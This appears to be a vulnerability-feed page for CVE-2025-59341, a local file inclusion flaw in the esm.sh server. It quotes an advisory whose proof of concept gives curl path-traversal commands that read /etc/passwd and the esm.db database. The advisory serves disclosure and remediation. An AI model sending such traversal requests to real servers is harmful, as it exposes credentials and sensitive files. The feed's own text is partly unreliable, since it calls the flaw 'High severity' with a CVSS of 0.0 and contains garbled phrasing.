Answer in brief
CVE-2025-59341 records a High severity (CVSS 0.0) vulnerability in esm.sh has File Inclusion issue. The current sources do not mark it as known exploited. The current feed maps github.com/esm-dev/esm.sh (go). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 0.0. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps github.com/esm-dev/esm.sh (go). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/esm-dev/esm.shgo | <=136 | Not reported |
Published upstream
Sep 17, 2025
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Oct 29, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Oct 29, 2026
## Summary A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources). **Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise. **Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks. Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168 --- ## Proof of Concept 1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json` ```json { "port": 9999, "npmRegistry": "https://registry.npmjs.org/", "npmToken": "******" } ``` 2. Trigger the LFI vulnerability by sending this command below to read a local file ```bash # read /etc/passwd curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1' # or read the database esm.db file curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1' ``` <img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" /> --- ## Remediation Simply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html) ## Credits - [Ai Ho (Jessie)](https://github.com/j3ssie) - [CL Yang](https://github.com/A11riseforme)
Quoted source text, attributed separately from HOL analysis.